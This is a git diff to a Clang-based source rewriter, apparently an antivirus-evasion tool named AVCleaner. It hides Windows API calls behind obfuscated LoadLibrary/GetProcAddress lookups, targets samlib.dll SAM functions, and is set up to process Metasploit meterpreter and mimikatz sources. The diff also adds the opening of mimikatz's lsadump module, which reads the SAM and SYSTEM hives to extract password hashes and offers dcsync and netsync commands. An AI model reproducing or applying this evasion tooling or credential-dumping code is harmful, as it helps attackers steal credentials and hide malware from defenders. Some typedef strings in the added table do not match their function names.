diff --git a/ApiMatchHandler.cpp b/ApiMatchHandler.cpp index cf7d784..fa62bcf 100644 --- a/ApiMatchHandler.cpp +++ b/ApiMatchHandler.cpp @@ -13,27 +13,112 @@ #include "clang/Tooling/Inclusions/HeaderIncludes.h" #include "clang/Tooling/Inclusions/IncludeStyle.h" #include "Globals.h" +#include "Utils.h" using namespace clang; -ApiMatchHandler::ApiMatchHandler(clang::Rewriter *rewriter) { - this->ASTRewriter = rewriter; -} -void ApiMatchHandler::run(const MatchResult &Result) { - const auto *CallExpression = Result.Nodes.getNodeAs("callExpr"); - llvm::outs() << "Found WriteProcessMemory\n"; +std::string ApiMatchHandler::getFunctionIdentifier(const CallExpr *CallExpression) { + const FunctionDecl *FnDeclaration = CallExpression->getDirectCallee(); //abort if invalid call if (FnDeclaration == nullptr) - return; + return nullptr; IdentifierInfo *II = FnDeclaration->getIdentifier(); if (II == nullptr) { - return; + return nullptr; + } + + return II->getName(); +} + +bool ApiMatchHandler::replaceIdentifier(const CallExpr *CallExpression, const std::string &ApiName, + const std::string &NewIdentifier) { + return this->ASTRewriter->ReplaceText(CallExpression->getBeginLoc(), ApiName.length(), NewIdentifier); +} + +bool ApiMatchHandler::handleCallExpr(const CallExpr *CallExpression, clang::ASTContext *const pContext) { + + std::string Identifier = getFunctionIdentifier(CallExpression); + std::string Replacement = Utils::translateStringToIdentifier(Identifier); + + if (!addGetProcAddress(CallExpression, pContext, Replacement, Identifier)) + return false; + + //Globs::PatchedSourceLocation.push_back(LiteralRange); + + return replaceIdentifier(CallExpression, Identifier, Replacement); +} + +void ApiMatchHandler::run(const MatchResult &Result) { + + llvm::outs() << "Found " << _ApiName << "\n"; + + const auto *CallExpression = Result.Nodes.getNodeAs("callExpr"); + handleCallExpr(CallExpression, Result.Context); +} + + +bool ApiMatchHandler::addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext, + const std::string &NewIdentifier, std::string &ApiName) { + + SourceRange EnclosingFunctionRange = findInjectionSpot(pContext, clang::ast_type_traits::DynTypedNode(), + *pCallExpression, 0); + + std::stringstream Result; + + // add LoadLibrary with obfuscated strings + std::string LoadLibraryVariable = Utils::translateStringToIdentifier(_Library); + std::string LoadLibraryString = Utils::generateVariableDeclaration(LoadLibraryVariable, _Library); + std::string LoadLibraryHandleIdentifier = Utils::translateStringToIdentifier("hHandle_"+_Library); + Result << LoadLibraryString << std::endl; + Result << "\tHANDLE " << LoadLibraryHandleIdentifier << " = LoadLibrary(" << LoadLibraryVariable << ");\n"; + + // add GetProcAddress with obfuscated string: TypeDef NewIdentifier = (TypeDef) GetProcAddress(handleIdentifier, ApiName) + std::string ApiNameIdentifier = Utils::translateStringToIdentifier(ApiName); + std::string ApiNameDecl = Utils::generateVariableDeclaration(ApiNameIdentifier, ApiName); + Result << ApiNameDecl << "\n"; + Result << "_ "<< ApiName << " " << NewIdentifier << " = (_" << ApiName << ") GetProcAddress(" + << LoadLibraryHandleIdentifier << ", " << ApiNameIdentifier << ");\n"; + + bool InsertResult = ASTRewriter->InsertText(EnclosingFunctionRange.getBegin(), Result.str()); + + if (InsertResult) { + llvm::errs() << " Could not finish to patch the function call.\n"; + //Globs::PatchedSourceLocation.push_back(range); + } + + return !InsertResult; +} + +SourceRange +ApiMatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent, + const clang::CallExpr &Literal, uint64_t Iterations) { + + if (Iterations > Globs::CLIMB_PARENTS_MAX_ITER) + throw std::runtime_error("Reached max iterations when trying to find a function declaration"); + + ASTContext::DynTypedNodeList parents = Context->getParents(Literal);; + + if (Iterations > 0) { + parents = Context->getParents(Parent); + } + + for (const auto &parent : parents) { + + StringRef ParentNodeKind = parent.getNodeKind().asStringRef(); + + if (ParentNodeKind.find("FunctionDecl") != std::string::npos) { + auto FunDecl = parent.get(); + auto *Statement = FunDecl->getBody(); + auto *FirstChild = *Statement->child_begin(); + return {FirstChild->getBeginLoc(), FunDecl->getEndLoc()}; + + } + + return findInjectionSpot(Context, parent, Literal, ++Iterations); } - std::string ApiName = II->getName(); - this->ASTRewriter->ReplaceText(CallExpression->getBeginLoc(), ApiName.length(), "toto"); } \ No newline at end of file diff --git a/ApiMatchHandler.h b/ApiMatchHandler.h index 67c82e6..32a2410 100644 --- a/ApiMatchHandler.h +++ b/ApiMatchHandler.h @@ -41,13 +41,57 @@ class ApiMatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback { public: using MatchResult = clang::ast_matchers::MatchFinder::MatchResult; - ApiMatchHandler(clang::Rewriter *rewriter); + ApiMatchHandler(clang::Rewriter *rewriter, std::string ApiName, std::string TypeDef, std::string Library) : ASTRewriter(rewriter), + _ApiName(ApiName), + _TypeDef(TypeDef), _Library(Library) {} void run(const MatchResult &Result) override; // callback function that runs when a Match is found. private: clang::Rewriter *ASTRewriter; // an instance to a Rewriter to manage changes to the AST. + std::string _ApiName; + std::string _TypeDef; + std::string _Library; -}; + clang::SourceRange findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent, + const clang::CallExpr &Literal, uint64_t Iterations); + + bool + addGetProcAddress(const clang::CallExpr *pCallExpression, clang::ASTContext *const pContext, + const std::string &NewIdentifier, std::string &ApiName); + + std::string getFunctionIdentifier(const clang::CallExpr *CallExpression); + + bool replaceIdentifier(const clang::CallExpr *CallExpression, const std::string &ApiName, + const std::string &NewIdentifier); + bool handleCallExpr(const clang::CallExpr *CallExpression, clang::ASTContext *const pContext); + +}; + +static std::map ApiToHide_samlib = { + {"SamConnect", "typedef NTSTATUS (__stdcall* _SamEnumerateDomainsInSamServer)(SAMPR_HANDLE ServerHandle, DWORD * EnumerationContext, PSAMPR_RID_ENUMERATION* Buffer, DWORD PreferedMaximumLength,DWORD * CountReturned);"}, + {"SamConnectWithCreds", "typedef NTSTATUS(__stdcall* _SamConnect)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, BOOLEAN Trusted);"}, + {"SamEnumerateDomainsInSamServer", "typedef NTSTATUS(__stdcall* _SamConnectWithCreds)(PUNICODE_STRING ServerName, SAMPR_HANDLE * ServerHandle, ACCESS_MASK DesiredAccess, LSA_OBJECT_ATTRIBUTES * ObjectAttributes, RPC_AUTH_IDENTITY_HANDLE AuthIdentity, PWSTR ServerPrincName, ULONG * unk0);"}, + {"SamLookupDomainInSamServer", "typedef NTSTATUS(__stdcall* _SamLookupDomainInSamServer)(SAMPR_HANDLE ServerHandle, PUNICODE_STRING Name, PSID * DomainId);"}, + {"SamOpenDomain", "typedef NTSTATUS(__stdcall* _SamOpenDomain)(SAMPR_HANDLE SamHandle, ACCESS_MASK DesiredAccess, PSID DomainId, SAMPR_HANDLE * DomainHandle);"}, + {"SamOpenUser", "typedef NTSTATUS(__stdcall* _SamOpenUser)(SAMPR_HANDLE DomainHandle, ACCESS_MASK DesiredAccess, DWORD UserId, SAMPR_HANDLE * UserHandle);"}, + {"SamOpenGroup", "typedef NTSTATUS(__stdcall* _SamOpenGroup)(SAMPR_HANDLE DomainHandle, ACCESS_MASK DesiredAccess, DWORD GroupId, SAMPR_HANDLE * GroupHandle);"}, + {"SamOpenAlias", "typedef NTSTATUS(__stdcall* _SamOpenAlias)(SAMPR_HANDLE DomainHandle, ACCESS_MASK DesiredAccess, DWORD AliasId, SAMPR_HANDLE * AliasHandle);"}, + {"SamQueryInformationUser", "typedef NTSTATUS(__stdcall* _SamQueryInformationUser)(SAMPR_HANDLE UserHandle, USER_INFORMATION_CLASS UserInformationClass, PSAMPR_USER_INFO_BUFFER* Buffer);"}, + {"SamSetInformationUser", "typedef NTSTATUS(__stdcall* _SamSetInformationUser)(SAMPR_HANDLE UserHandle, USER_INFORMATION_CLASS UserInformationClass, PSAMPR_USER_INFO_BUFFER Buffer);"}, + {"SamiChangePasswordUser", "typedef NTSTATUS(__stdcall* _SamiChangePasswordUser)(SAMPR_HANDLE UserHandle, BOOL isOldLM, const BYTE oldLM[LM_NTLM_HASH_LENGTH], const BYTE newLM[LM_NTLM_HASH_LENGTH], BOOL isNewNTLM, const BYTE oldNTLM[LM_NTLM_HASH_LENGTH], const BYTE newNTLM[LM_NTLM_HASH_LENGTH]);"}, + {"SamGetGroupsForUser", "typedef NTSTATUS(__stdcall* _SamGetGroupsForUser)(SAMPR_HANDLE UserHandle, PGROUP_MEMBERSHIP * Groups, DWORD * CountReturned);"}, + {"SamGetAliasMembership", "typedef NTSTATUS(__stdcall* _SamGetAliasMembership)(SAMPR_HANDLE DomainHandle, DWORD Count, PSID * Sid, DWORD * CountReturned, PDWORD * RelativeIds);"}, + {"SamGetMembersInGroup", "typedef NTSTATUS(__stdcall* _SamGetMembersInGroup)(SAMPR_HANDLE GroupHandle, PDWORD *Members, PDWORD *Attributes, DWORD * CountReturned);"}, + {"SamGetMembersInAlias", "typedef NTSTATUS(__stdcall* _SamGetMembersInAlias)(SAMPR_HANDLE AliasHandle, PSID ** Members, DWORD * CountReturned);"}, + {"SamEnumerateUsersInDomain", "typedef NTSTATUS(__stdcall* _SamEnumerateUsersInDomain)(SAMPR_HANDLE DomainHandle, PDWORD EnumerationContext, DWORD UserAccountControl, PSAMPR_RID_ENUMERATION* Buffer, DWORD PreferedMaximumLength, PDWORD CountReturned);"}, + {"SamEnumerateGroupsInDomain", "typedef NTSTATUS(__stdcall* _SamEnumerateGroupsInDomain)(SAMPR_HANDLE DomainHandle, PDWORD EnumerationContext, PSAMPR_RID_ENUMERATION * Buffer, DWORD PreferedMaximumLength, PDWORD CountReturned);"}, + {"SamEnumerateAliasesInDomain", "typedef NTSTATUS(__stdcall* _SamEnumerateAliasesInDomain)(SAMPR_HANDLE DomainHandle, PDWORD EnumerationContext, PSAMPR_RID_ENUMERATION * Buffer, DWORD PreferedMaximumLength, PDWORD CountReturned);"}, + {"SamLookupNamesInDomain", "typedef NTSTATUS(__stdcall* _SamLookupNamesInDomain)(SAMPR_HANDLE DomainHandle, DWORD Count, PUNICODE_STRING Names, PDWORD * RelativeIds, PDWORD * Use);"}, + {"SamLookupIdsInDomain", "typedef NTSTATUS(__stdcall* _SamLookupIdsInDomain)(SAMPR_HANDLE DomainHandle, DWORD Count, PDWORD RelativeIds, PUNICODE_STRING * Names, PDWORD * Use);"}, + {"SamRidToSid", "typedef NTSTATUS(__stdcall* _SamRidToSid)(SAMPR_HANDLE ObjectHandle, DWORD Rid, PSID * Sid);"}, + {"SamCloseHandle", "typedef NTSTATUS(__stdcall* _SamCloseHandle)(SAMPR_HANDLE SamHandle);"}, + {"SamFreeMemory", "typedef NTSTATUS(__stdcall* _SamFreeMemory)(PVOID Buffer);"} +}; #endif //AVCLEANER_APIMATCHHANDLER_H diff --git a/Globals.cpp b/Globals.cpp index 985c1f2..bcd8b40 100755 --- a/Globals.cpp +++ b/Globals.cpp @@ -2,4 +2,5 @@ namespace Globs { std::vector PatchedSourceLocation; + const uint64_t CLIMB_PARENTS_MAX_ITER = 1000; // fail safe to prevent a recursion loop when climbing the list of parents. } \ No newline at end of file diff --git a/Globals.h b/Globals.h index 598c07a..f5c571e 100755 --- a/Globals.h +++ b/Globals.h @@ -8,5 +8,5 @@ namespace Globs { extern std::vector PatchedSourceLocation; - + extern const uint64_t CLIMB_PARENTS_MAX_ITER; // fail safe to prevent a recursion loop when climbing the list of parents. } diff --git a/MatchHandler.cpp b/MatchHandler.cpp index cbf3b87..2947059 100644 --- a/MatchHandler.cpp +++ b/MatchHandler.cpp @@ -12,6 +12,7 @@ #include "clang/Tooling/Inclusions/HeaderIncludes.h" #include "clang/Tooling/Inclusions/IncludeStyle.h" #include "Globals.h" +#include "Utils.h" using namespace clang; @@ -24,7 +25,7 @@ MatchHandler::getNodeParents(const StringLiteral &NodeString, clang::ast_type_tr clang::ASTContext *const Context, std::vector &CurrentParents, uint64_t Iterations) { - if (Iterations > CLIMB_PARENTS_MAX_ITER) { + if (Iterations > Globs::CLIMB_PARENTS_MAX_ITER) { return CurrentParents; } @@ -134,16 +135,14 @@ bool MatchHandler::handleExpr(const clang::StringLiteral *pLiteral, clang::ASTCo if(shouldAbort(pLiteral, pContext, LiteralRange)) return false; - std::string Replacement = translateStringToIdentifier(pLiteral->getBytes().str()); + std::string Replacement = Utils::translateStringToIdentifier(pLiteral->getBytes().str()); if(!insertVariableDeclaration(pLiteral, pContext, LiteralRange, Replacement)) return false ; - bool res = replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement); - Globs::PatchedSourceLocation.push_back(LiteralRange); - return res; + return replaceStringLiteral(pLiteral, pContext, LiteralRange, Replacement); } void MatchHandler::handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *const pContext, @@ -176,7 +175,7 @@ bool MatchHandler::insertVariableDeclaration(const clang::StringLiteral *pLitera // inject code to declare the string in an encrypted fashion SourceRange FreeSpace = findInjectionSpot(pContext, clang::ast_type_traits::DynTypedNode(), *pLiteral, IsInGlobalContext, 0); - std::string StringVariableDeclaration = generateVariableDeclaration(Replacement, StringLiteralContent); + std::string StringVariableDeclaration = Utils::generateVariableDeclaration(Replacement, StringLiteralContent); if (!IsInGlobalContext) { //StringVariableDeclaration += "\tdprintf(\"" + Replacement + "\");\n"; @@ -217,47 +216,11 @@ bool MatchHandler::replaceStringLiteral(const clang::StringLiteral *pLiteral, cl return ASTRewriter->ReplaceText(LiteralRange, Replacement); } -void MatchHandler::cleanParameter(std::string &Argument) { - - auto Index = Argument.find_first_of('\"'); - - Argument.erase(Argument.begin(), Argument.begin() + Index + 1); - - if (Argument.back() == '\"') { - Argument.pop_back(); - } -} - -std::string MatchHandler::translateStringToIdentifier(const std::string &StrLiteral) { - - std::string NewIdentifier = std::regex_replace(StrLiteral, std::regex("[^A-Za-z]"), "_"); - return "hid_" + NewIdentifier.substr(0, 6) + '_' + randomString(12); -} - -std::string MatchHandler::randomString(std::string::size_type Length) { - - static auto &chrs = "0123456789" - "abcdefghijklmnopqrstuvwxyz" - "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - - thread_local static std::mt19937 rg{std::random_device{}()}; - thread_local static std::uniform_int_distribution pick(0, sizeof(chrs) - 2); - - std::string s; - - s.reserve(Length); - - while (Length--) - s += chrs[pick(rg)]; - - return s; -} - SourceRange MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_type_traits::DynTypedNode Parent, const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations) { - if (Iterations > CLIMB_PARENTS_MAX_ITER) + if (Iterations > Globs::CLIMB_PARENTS_MAX_ITER) throw std::runtime_error("Reached max iterations when trying to find a function declaration"); ASTContext::DynTypedNodeList parents = Context->getParents(Literal);; @@ -287,45 +250,6 @@ MatchHandler::findInjectionSpot(clang::ASTContext *const Context, clang::ast_typ } } -std::string -MatchHandler::generateVariableDeclaration(const std::string &StringIdentifier, std::string &StringValue) { - - std::stringstream Result; - - //Result << "\n#ifdef _UNICODE\n\twchar_t\n"; - //Result << "#else\n\tchar\n#endif\n\t"; - Result << "TCHAR " << StringIdentifier << "[] = {"; - - auto CleanString = std::string(StringValue); - cleanParameter(CleanString); - bool ToggleZero = std::count(CleanString.begin(), CleanString.end(), 0) >= CleanString.size() / 2; - for (std::string::iterator it = CleanString.begin(); it != CleanString.end(); it++) { - - if (*it == '\'') { - Result << "'\\" << *it << "'"; - } else if (*it == '\\') { - Result << "'\\\\'"; - } else if (*it == '\n') { - Result << "'\\n'"; - } else if (*it != 0) { - Result << "'" << *it << "'"; - } else { - continue; - } - - uint32_t offset = 1; - if (it + offset != CleanString.end()) { - Result << ","; - } - } - - if(*Result.str().end() == ',') - Result << "0};\n"; - else - Result << ",0};\n"; - return std::regex_replace(Result.str(), std::regex(",,"), ","); -} - bool MatchHandler::isBlacklistedFunction(const CallExpr *FunctionCall) { const FunctionDecl *FnDeclaration = FunctionCall->getDirectCallee(); diff --git a/MatchHandler.h b/MatchHandler.h index 0699db5..7f498e2 100644 --- a/MatchHandler.h +++ b/MatchHandler.h @@ -45,32 +45,6 @@ class MatchHandler : public clang::ast_matchers::MatchFinder::MatchCallback { void run(const MatchResult &Result) override; // callback function that runs when a Match is found. - /** - * strip metacharacters decorating a string. - * For instance, L"ntdll" -> ntdll - * @param Argument the string to be cleaned. - */ - static void cleanParameter(std::string &Argument); - -/** - * used to replace a string literal by a variable's identifier - * must not collide with existing identifiers. - * Format: 12-first characters, letters only + random part - * TODO: remember allocated identifiers for collision prevention - * TODO: extract constants into readable identifiers. - * @param StrLiteral the string literal - */ -static std::string translateStringToIdentifier(const std::string &StrLiteral); - -/** - * @brief declares and instantiate a variable holding a string that was moved out from a function's arguments. - * @param StringIdentifier the new variable identifier. - * @param StringValue the actual value of the string literal. - * @return the generated code snippet. - */ -static std::string -generateVariableDeclaration(const std::string &StringIdentifier, std::string &StringValue); - private: clang::Rewriter *ASTRewriter; // an instance to a Rewriter to manage changes to the AST. @@ -109,12 +83,6 @@ generateVariableDeclaration(const std::string &StringIdentifier, std::string &St void handleCallExpr(const clang::StringLiteral *pLiteral, clang::ASTContext *pContext, clang::ast_type_traits::DynTypedNode node); - /** - * @brief generates a random string of size Length. - * @param Length desired length of the generated string. - * @return a random string of size Length. - */ - static std::string randomString(unsigned long Length); /** * @brief Finds some free space to inject code that must run before the string literals usages. @@ -128,7 +96,7 @@ generateVariableDeclaration(const std::string &StringIdentifier, std::string &St findInjectionSpot(clang::ASTContext *Context, clang::ast_type_traits::DynTypedNode Parent, const clang::StringLiteral &Literal, bool IsGlobal, uint64_t Iterations); - const static uint64_t CLIMB_PARENTS_MAX_ITER = 1000; // fail safe to prevent a recursion loop when climbing the list of parents. + /** * offers a chance to bail out from the refactoring process if the string literal is found in an unpatchable location. diff --git a/Utils.cpp b/Utils.cpp new file mode 100644 index 0000000..6a4b2a7 --- /dev/null +++ b/Utils.cpp @@ -0,0 +1,88 @@ +// +// Created by Vladimir on 20.06.20. +// + +#include "Utils.h" +#include +#include +#include +#include + +using namespace Utils; + std::string Utils::randomString(std::string::size_type Length) { + + static auto &chrs = "0123456789" + "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + thread_local static std::mt19937 rg{std::random_device{}()}; + thread_local static std::uniform_int_distribution pick(0, sizeof(chrs) - 2); + + std::string s; + + s.reserve(Length); + + while (Length--) + s += chrs[pick(rg)]; + + return s; +} + + std::string Utils::translateStringToIdentifier(const std::string &StrLiteral) { + + std::string NewIdentifier = std::regex_replace(StrLiteral, std::regex("[^A-Za-z]"), "_"); + return "hid_" + NewIdentifier.substr(0, 6) + '_' + randomString(12); +} + + +void Utils::cleanParameter(std::string &Argument) { + + auto Index = Argument.find_first_of('\"'); + + Argument.erase(Argument.begin(), Argument.begin() + Index + 1); + + if (Argument.back() == '\"') { + Argument.pop_back(); + } +} + + + +std::string +Utils::generateVariableDeclaration(const std::string &StringIdentifier, const std::string &StringValue) { + + std::stringstream Result; + + //Result << "\n#ifdef _UNICODE\n\twchar_t\n"; + //Result << "#else\n\tchar\n#endif\n\t"; + Result << "TCHAR " << StringIdentifier << "[] = {"; + + auto CleanString = std::string(StringValue); + cleanParameter(CleanString); + bool ToggleZero = std::count(CleanString.begin(), CleanString.end(), 0) >= CleanString.size() / 2; + for (std::string::iterator it = CleanString.begin(); it != CleanString.end(); it++) { + + if (*it == '\'') { + Result << "'\\" << *it << "'"; + } else if (*it == '\\') { + Result << "'\\\\'"; + } else if (*it == '\n') { + Result << "'\\n'"; + } else if (*it != 0) { + Result << "'" << *it << "'"; + } else { + continue; + } + + uint32_t offset = 1; + if (it + offset != CleanString.end()) { + Result << ","; + } + } + + if(*Result.str().end() == ',') + Result << "0};\n"; + else + Result << ",0};\n"; + return std::regex_replace(Result.str(), std::regex(",,"), ","); +} \ No newline at end of file diff --git a/Utils.h b/Utils.h new file mode 100644 index 0000000..26b04d9 --- /dev/null +++ b/Utils.h @@ -0,0 +1,50 @@ +// +// Created by Vladimir on 20.06.20. +// + +#ifndef AVCLEANER_UTILS_H +#define AVCLEANER_UTILS_H + +#include + +namespace Utils { + + + /** + * @brief generates a random string of size Length. + * @param Length desired length of the generated string. + * @return a random string of size Length. + */ + extern std::string randomString(unsigned long Length); + + /** + * used to replace a string literal by a variable's identifier + * must not collide with existing identifiers. + * Format: 12-first characters, letters only + random part + * TODO: remember allocated identifiers for collision prevention + * TODO: extract constants into readable identifiers. + * @param StrLiteral the string literal + */ + extern std::string translateStringToIdentifier(const std::string &StrLiteral); + + + /** + * strip metacharacters decorating a string. + * For instance, L"ntdll" -> ntdll + * @param Argument the string to be cleaned. + */ + extern void cleanParameter(std::string &Argument); + + + /** + * @brief declares and instantiate a variable holding a string that was moved out from a function's arguments. + * @param StringIdentifier the new variable identifier. + * @param StringValue the actual value of the string literal. + * @return the generated code snippet. + */ + extern std::string + generateVariableDeclaration(const std::string &StringIdentifier, const std::string &StringValue); + +}; + +#endif //AVCLEANER_UTILS_H diff --git a/clang-query-macos_meterpreter.sh b/clang-query-macos_meterpreter.sh index 379dbb5..0645259 100644 --- a/clang-query-macos_meterpreter.sh +++ b/clang-query-macos_meterpreter.sh @@ -11,6 +11,9 @@ clang-query "$1" -- -D "_WIN64" -D "_UNICODE" -D "UNICODE" -D "_WINSOCK_DEPRECAT "-I" "$WIN_INCLUDE/Include/10.0.17134.0/winrt" \ "-I" "/Users/vladimir/vmshare-work/tmp/metasploit-payloads/c/meterpreter/source/metsrv" \ "-I" "/Users/vladimir/vmshare-work/tmp/metasploit-payloads/c/meterpreter/source/common" \ + "-I" "/Users/vladimir/vmshare-work/tmp/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/modules/" \ + "-I" "/Users/vladimir/vmshare-work/tmp/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/mimikatz/" \ + "-I" "/Users/vladimir/vmshare-work/tmp/metasploit-payloads/c/meterpreter/source/extensions/kiwi/mimikatz/inc" \ "-fdeprecated-macro" \ "-w" \ "-fdebug-compilation-dir"\ diff --git a/main.cpp b/main.cpp index 88ae194..997d2cf 100644 --- a/main.cpp +++ b/main.cpp @@ -27,9 +27,13 @@ namespace ClSetup { llvm::cl::OptionCategory ToolCategory("StringEncryptor"); - llvm::cl::opt IsEditEnabled("edit", llvm::cl::desc("Edit the file in place, or write a copy with .patch extension."),llvm::cl::cat(ToolCategory)); - llvm::cl::opt IsStringObfuscationEnabled("strings", llvm::cl::desc("Enable obfuscation of string literals."),llvm::cl::cat(ToolCategory)); - llvm::cl::opt IsApiObfuscationEnabled("api", llvm::cl::desc("Enable obfuscation of api calls."),llvm::cl::cat(ToolCategory)); + llvm::cl::opt IsEditEnabled("edit", + llvm::cl::desc("Edit the file in place, or write a copy with .patch extension."), + llvm::cl::cat(ToolCategory)); + llvm::cl::opt IsStringObfuscationEnabled("strings", llvm::cl::desc("Enable obfuscation of string literals."), + llvm::cl::cat(ToolCategory)); + llvm::cl::opt IsApiObfuscationEnabled("api", llvm::cl::desc("Enable obfuscation of api calls."), + llvm::cl::cat(ToolCategory)); } namespace StringEncryptor { @@ -57,23 +61,30 @@ namespace StringEncryptor { class ApiCallConsumer : public clang::ASTConsumer { public: + ApiCallConsumer(std::string ApiName, std::string TypeDef, std::string Library) + : _ApiName(ApiName), _TypeDef(std::move(TypeDef)), _Library(Library) {} + void HandleTranslationUnit(clang::ASTContext &Context) override { using namespace clang::ast_matchers; using namespace StringEncryptor; - llvm::outs() << "[ApiCallObfuscation] Registering ASTMatcher...\n"; + llvm::outs() << "[ApiCallObfuscation] Registering ASTMatcher for " << _ApiName << "\n"; MatchFinder Finder; - ApiMatchHandler Handler(&ASTRewriter); + ApiMatchHandler Handler(&ASTRewriter, _ApiName, _TypeDef, _Library); - const auto Matcher = callExpr(callee(functionDecl(hasName("WriteProcessMemory")))).bind("callExpr"); + const auto Matcher = callExpr(callee(functionDecl(hasName(_ApiName)))).bind("callExpr"); Finder.addMatcher(Matcher, &Handler); Finder.matchAST(Context); } + + private: + std::string _ApiName; + std::string _TypeDef; + std::string _Library; }; StringEncryptionConsumer StringConsumer = StringEncryptionConsumer(); - ApiCallConsumer ApiConsumer = ApiCallConsumer(); class Action : public clang::ASTFrontendAction { @@ -84,15 +95,20 @@ namespace StringEncryptor { llvm::StringRef Filename) override { ASTRewriter.setSourceMgr(Compiler.getSourceManager(), Compiler.getLangOpts()); - std::vector consumers; + std::vector consumers; - if(ClSetup::IsStringObfuscationEnabled) { + if (ClSetup::IsStringObfuscationEnabled) { consumers.push_back(&StringConsumer); } - if(ClSetup::IsApiObfuscationEnabled) { - consumers.push_back(&ApiConsumer); + if (ClSetup::IsApiObfuscationEnabled) { + + for(auto const& el: ApiToHide_samlib){ + auto Cons = std::make_unique(new ApiCallConsumer(el.first, el.second, + "samlib.dll")); + consumers.push_back(*Cons); + } } auto TheConsumer = llvm::make_unique(); @@ -122,9 +138,9 @@ namespace StringEncryptor { auto ReWriteBuffer = ASTRewriter.getRewriteBufferFor(FileID); llvm::errs() << "Got Rewrite buffer\n"; - if(ReWriteBuffer != nullptr) + if (ReWriteBuffer != nullptr) ReWriteBuffer->write((s)); - else{ + else { llvm::errs() << "File was not modified\n"; return; } @@ -133,13 +149,13 @@ namespace StringEncryptor { std::ofstream fo; - if(ClSetup::IsEditEnabled) { + if (ClSetup::IsEditEnabled) { fo.open(FileName); - } else{ - fo.open(FileName +".patch"); + } else { + fo.open(FileName + ".patch"); } - if(fo.is_open()) + if (fo.is_open()) fo << result; else llvm::errs() << "[!] Error saving result to " << FileName << "\n"; diff --git a/test/kuhl_m_lsadump.c b/test/kuhl_m_lsadump.c new file mode 100755 index 0000000..e3d41b1 --- /dev/null +++ b/test/kuhl_m_lsadump.c @@ -0,0 +1,2396 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#include "kuhl_m_lsadump.h" + +const KUHL_M_C kuhl_m_c_lsadump[] = { + {kuhl_m_lsadump_sam, L"sam", L"Get the SysKey to decrypt SAM entries (from registry or hives)"}, + {kuhl_m_lsadump_secrets, L"secrets", L"Get the SysKey to decrypt SECRETS entries (from registry or hives)"}, + {kuhl_m_lsadump_cache, L"cache", L"Get the SysKey to decrypt NL$KM then MSCache(v2) (from registry or hives)"}, + {kuhl_m_lsadump_lsa, L"lsa", L"Ask LSA Server to retrieve SAM/AD entries (normal, patch on the fly or inject)"}, + {kuhl_m_lsadump_trust, L"trust", L"Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly)"}, + {kuhl_m_lsadump_bkey, L"backupkeys", NULL}, + {kuhl_m_lsadump_rpdata, L"rpdata", NULL}, + {kuhl_m_lsadump_dcsync, L"dcsync", L"Ask a DC to synchronize an object"}, + {kuhl_m_lsadump_dcshadow, L"dcshadow", L"They told me I could be anything I wanted, so I became a domain controller"}, + {kuhl_m_lsadump_setntlm, L"setntlm", L"Ask a server to set a new password/ntlm for one user"}, + {kuhl_m_lsadump_changentlm, L"changentlm", L"Ask a server to set a new password/ntlm for one user"}, + {kuhl_m_lsadump_netsync, L"netsync", L"Ask a DC to send current and previous NTLM hash of DC/SRV/WKS"}, + {kuhl_m_lsadump_packages, L"packages", NULL}, + {kuhl_m_lsadump_mbc, L"mbc", NULL}, +}; + +const KUHL_M kuhl_m_lsadump = { + L"lsadump", L"LsaDump module", NULL, + ARRAYSIZE(kuhl_m_c_lsadump), kuhl_m_c_lsadump, NULL, NULL +}; + +NTSTATUS kuhl_m_lsadump_sam(int argc, wchar_t * argv[]) +{ + HANDLE hDataSystem, hDataSam; + PKULL_M_REGISTRY_HANDLE hRegistry, hRegistry2; + HKEY hBase; + BYTE sysKey[SYSKEY_LENGTH]; + LPCWSTR szSystem = NULL, szSam = NULL; + + if(kull_m_string_args_byName(argc, argv, L"system", &szSystem, NULL)) + { + hDataSystem = CreateFile(szSystem, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if(hDataSystem != INVALID_HANDLE_VALUE) + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSystem, FALSE, &hRegistry)) + { + if(kuhl_m_lsadump_getComputerAndSyskey(hRegistry, NULL, sysKey)) + { + if(kull_m_string_args_byName(argc, argv, L"sam", &szSam, NULL)) + { + hDataSam = CreateFile(szSam, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if(hDataSam != INVALID_HANDLE_VALUE) + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_HIVE, hDataSam, FALSE, &hRegistry2)) + { + kuhl_m_lsadump_getUsersAndSamKey(hRegistry2, NULL, sysKey); + kull_m_registry_close(hRegistry2); + } + CloseHandle(hDataSam); + } + else PRINT_ERROR_AUTO(L"CreateFile (SAM hive)"); + } + } + kull_m_registry_close(hRegistry); + } + CloseHandle(hDataSystem); + } + else PRINT_ERROR_AUTO(L"CreateFile (SYSTEM hive)"); + } + else + { + if(kull_m_registry_open(KULL_M_REGISTRY_TYPE_OWN, NULL, FALSE, &hRegistry)) + { + if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SYSTEM", 0, KEY_READ, &hBase)) + { + if(kuhl_m_lsadump_getComputerAndSyskey(hRegistry, hBase, sysKey)) + { + if(kull_m_registry_RegOpenKeyEx(hRegistry, HKEY_LOCAL_MACHINE, L"SAM", 0, KEY_READ, &hBase)) + { + kuhl_m_lsadump_getUsersAndSamKey(hRegistry, hBase, sysKey); + kull_m_registry_RegCloseKey(hRegistry, hBase); + } + else 